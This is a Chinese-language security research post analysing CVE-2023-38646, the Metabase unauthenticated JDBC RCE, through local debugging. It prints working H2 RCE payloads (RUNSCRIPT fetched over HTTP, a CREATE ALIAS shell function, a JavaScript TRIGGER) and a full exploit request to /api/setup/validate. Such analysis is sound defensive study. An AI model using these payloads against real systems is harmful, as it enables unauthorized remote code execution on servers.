CVE-2023-38646 Metabase未授权JDBC RCE
2023-11-06 15:43:32

跟着大B来调试
CVE-2023-38646 Metabase未授权JDBC RCE - Boogiepop Doesn’t Laugh (boogipop.com)
CVE-2023-38646 Metabase RCE | Bmth’s blog (bmth666.cn)
https://www.freebuf.com/articles/network/373386.html

环境配置

下载metabase的jar文件
https://downloads.metabase.com/v0.46.6/metabase.jar
在idea中选择jar应用程序,设置路径和jdk即可启动调试
Pasted image 20231024153957.png
访问localhost:3000输入一些信息进行初始化

漏洞简介

由于未经授权获取setup-token,攻击者可以访问/validate路由,并对jdbc进行重置。这个过程中导致了JDBC注入漏洞,从而使攻击者能够执行任意代码并实现h2数据库的 jdbc RCE攻击

前置学习 h2 RCE

因为该漏洞本质上是配合了h2数据库造成的RCE,所以需要学习一下前置的知识

INIT RunScript RCE

RUNsc ript FROM 可以使用 HTTP 协议执行远程的 SQL 语句,那么在利用的时候我们即可构造恶意的 SQL 语句来完成对漏洞利用。
poc.sql

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "1";}';CALL EXEC ('calc')

在初始化时指定JDBC链接为

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

其中INIT=RUNSCRIPT FROM 就会获取web服务上的恶意脚本并且执行,造成了RCE

Alias Script RCE

在执行 SQL 语句时 CREATE ALIAS 来会将内容值进行 javac 编译之后然后运行。

//创建别名  
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;  
  
//调用SHELLEXEC执行命令  
CALL SHELLEXEC('id');  
CALL SHELLEXEC('whoami');

TRIGGER Script RCE

H2 在解析 init 参数时对 CREATE TRIGGER 会由 loadFromSource 做特殊处理,根据执行内容的开头来判断是否为需要通过 javascript 引擎执行。如果以 //javascript开头就会通过 javascript 引擎进行编译然后进行执行。

CREATE TRIGGER poc2 BEFORE SELECT ON  
INFORMATION_SCHEMA.TABLES AS $$//javascript  
java.lang.Runtime.getRuntime().exec("calc") $$;

漏洞分析

在 Jan 28, 2022 Metabase官方修改了一处代码
Check user exists for setup redirect (#19846) · metabase/metabase@0526d88 (github.com)
Pasted image 20231024225412.png
在安装完成后移除了clear-token的操作,导致在 properties 中仍然存在setup-token
Pasted image 20231024225658.png
访问properties该接口可以获取所有全局属性及其值, 但是其属性需要为public
而 setup-token 在生成的时候 visibility 被默认设置为了 public
Pasted image 20231024230007.png

这就导致可以访问/api/session/properties接口获得setup-token
Pasted image 20231024230117.png

获得token后,可以使用validate接口来重置jdbc链接,从而造成RCE
构造包如下,这里用的是h2的TRIGGER Script

POST /api/setup/validate HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: metabase.DEVICE=b4a0ad02-dacb-4b2a-a39d-cf6a2d613533
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 732

{
    "token": "619237a5-b2e0-425f-b3ff-da28cc67e081",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:./metabase.jar!/sample-database.db;MODE=MSSQLServer;",
            "advanced-options": false,
            "ssl": true,
"init": "CREATE TRIGGER shell1 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('calc')\u000A$$"
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

Pasted image 20231024234401.png
将engine和details传入test-database-connection
Pasted image 20231024234428.png
又调用了can-connect-with-details函数,并传入参数
Pasted image 20231024234529.png
漫长的调用栈,一系列的数据处理直到get-driver-connection
image.png
这个写法转化成Java实际上就是DriverManager.getConnection(url),实际上就是发起了对于数据库的连接
跟进就可以看见jdbc的url,info里是一些其他的信息,例如init的语句
image.png

从details中取出jdbc链接,info为处理后的其他数据
Pasted image 20231024234736.png
Pasted image 20231024234605.png

继续往下调用到openSession函数,实际上就是打开与h2数据库的连接
Pasted image 20231024234835.png
Pasted image 20231024234850.png
可以看见获取了INIT参数,赋值给var5
Pasted image 20231024235348.png
可以看见当var5不为空时,就会对语句进行处理
Pasted image 20231024235641.png
最后一直调用,直到进入TriggerObject.loadFromSource函数,this.triggerSource为需要执行的js代码,存放在了var1中,对应的键位var3
Pasted image 20231025000118.png
这里会判断this.triggerSource是否是//javascript开头
Pasted image 20231025000130.png
进入var1.getCompiledScript函数,从var1中取出键对应的值,使用var5.compile对其进行编译
Pasted image 20231025000349.png
可以看见js引擎是NashornScriptEngine,因此可以执行任意的java语句,当return之后就会造成RCE
Pasted image 20231025000623.pngPasted image 20231025001127.png

Prev
2023-11-06 15:43:32
Next